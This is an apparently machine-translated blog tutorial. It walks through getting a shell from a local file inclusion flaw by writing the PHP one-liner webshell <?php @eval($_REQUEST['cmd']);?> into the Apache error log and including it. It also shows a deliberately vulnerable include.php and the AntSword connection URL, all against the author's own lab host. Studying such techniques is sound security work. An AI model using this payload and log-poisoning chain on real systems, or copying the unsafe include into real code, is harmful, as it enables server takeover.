当前位置:网站首页>[file inclusion vulnerability-04] classic interview question: how to getshell when a website is known to have only local file inclusion vulnerability?
[file inclusion vulnerability-04] classic interview question: how to getshell when a website is known to have only local file inclusion vulnerability?
2022-06-25 10:52:00 【Like the wind 9】
Catalog
1 Experiment introduction
The experimental requirements : Suppose the attacker already knows that a website exists and only local File Inclusion Vulnerability exists , And there are no file upload vulnerability points and other vulnerabilities , how GetShell.
The experiment purpose : Exploit local File Inclusion Vulnerability GetShell.
2 Experimental environment
(1) Drone aircraft
This experiment is based on WAMP Environment to test , Environment deployment process reference article 《【 Language environment 】WAMP Environment deployment and optimization — With win2008R2SP1 For the operating system 》,IP by 172.16.1.1.
Check out the target PHP edition . You need to view the of the built server PHP edition , Next, modify its configuration .
open phpstudy Installation folder , find PHP-5.4.45 Version corresponding folder , Will file php.ini Medium allow_url_include Parameter set to On, Remember to save and restart the server after modification .

Under the root directory of the environment website , New folder FileInclusion, stay FileInclusion Create the following files under the folder to experiment . Create a new one txt file , Enter the following code , And rename to include.php.
<?php
$path = $_GET['path'];
echo "<h1>This is include.php!</h1>";
include $path;
?>
(2) attack
Real machine installation BurpSuite And Chinese ant sword , Installation reference of relevant software 《【Burp Suite Tools -1】BurpSuite Introduction and detailed explanation of installation process 》、《【 Ant sword tool -01】 Website management tools of the Chinese ant sword installation process and application examples 》.
3 The experimental steps
3.1 Include log files getshell
Ideas : There is no file upload point , And we also need a file in the local server to have a sentence Trojan horse code , At this time, we think of , Log file records the error reporting method , In the transaction log file “ write in ” In a word, Trojans , Then use the file contains to execute the one sentence Trojan horse in the log file . The specific steps are as follows :
(1) Will visit include.php Page URL link http://172.16.1.1/FileInclusion/include.php Copy , stay BurpSuite Of repeater Right click in the module to select Paste URL as request With URL Form add request , Click Send , You can see that the response was successfully received , Just because it was not passed to path Variable , So the prompt goes wrong .
(2) In the request line , Change the file path change request to one sentence code <?php @eval($_REQUEST['cmd']);?>, Click Send , You can see the response error .
(3) The server reports an error in the request , A response record will be added to the error log . On the target plane we open Apache Error log for , Path is C:\phpStudy\PHPTutorial\Apache\logs\error.log, You can see that an error message has been added , And the code is not enclosed in quotation marks , Can be included in the file to execute unconditionally .
(4) Use Chinese ant sword to connect . Open the Chinese ant sword in the real machine → Add data → Fill in URL Address and connection password , among URL Address http://172.16.1.1/FileInclusion/include.php?path=C:\phpStudy\PHPTutorial\Apache\logs\error.log, The password for cmd, Click Add .


(5) Management server . After adding, you can see the newly added content in the main interface of the software , Double click to manage the server .
expand
(1) contain session file , cause session Let the cat out of the
(2)metinfo5.0.4 The file contains vulnerability code audit
4 summary
Ideas : The first step is to use everything possible to make a Trojan horse in a local file of the server ; The second step is to let the code execute .
reflection : If the error log is not in the default location , How to find it or whether there are other ways ?
reflection : If the target has a Remote File Inclusion Vulnerability , Attacker on server 2 Write a one sentence Trojan horse file on the , Use the target remote file to include the file , Does not Get Drone aircraft Shell. Later, we should have a deeper understanding of the control principle of the Trojan horse , To determine why it cannot be achieved , It is tentatively believed that shell The code is on the server 2 Executed on .
边栏推荐
- 我希望按照我的思路尽可能将canvas基础讲明白
- 服务端渲染
- FPGA基于VGA显示字符及图片
- Sign up to open the third session of the "flying oar hacker marathon". It's been a long time
- Kotlin implements a simple login page
- 我希望按照我的思路盡可能將canvas基礎講明白
- Is it safe to open a stock account on the compass?
- Task03 probability theory
- Flutter adds event listening | subscription
- 学会自学【学会学习本身,比学什么都重要】
猜你喜欢

【动态规划】—— 数字三角形

CSRF attack

I hope to explain the basics of canvas as clearly as possible according to my ideas

After reading this article, I will teach you to play with the penetration test target vulnhub - drivetingblues-7

Houdini graphic notes: could not create OpenCL device of type (houdini_ocl_devicetype) problem solving

Ouverture de l'inscription | le troisième marathon des hackers de pagaie est arrivé comme prévu.

Deep understanding of JVM - JVM memory model

Nuxtjs actual combat case

Opencv learning (I) -- environment building

报名开启|飞桨黑客马拉松第三期如约而至,久等啦
随机推荐
成长:如何深度思考与学习
Macro application connector\
What is CRA
[observation] objectscale: redefining the next generation of object storage, reconstruction and innovation of Dell Technology
无心剑中译伊玛·拉扎罗斯《新巨人·自由女神》
网络远程访问的方式使用树莓派
[RPC] i/o model - Rector mode of bio, NiO, AIO and NiO
XSS攻击
Detailed explanation of Android interview notes handler
持续交付-Jenkinsfile 语法
申请多域名SSL证书的要求及注意事项
【历史上的今天】6 月 24 日:网易成立;首届消费电子展召开;世界上第一次网络直播
戴尔科技演绎“快”字诀,玩转CI/CD
Nuxtjs actual combat case
Opencv learning (II) -- installing opencv on raspberry pie
【动态规划】—— 数字三角形
New school: no fraud Economics
Yolov5 changing the upper sampling mode
每日3题(3)-检查整数及其两倍数是否存在
1-7Vmware中的快照与克隆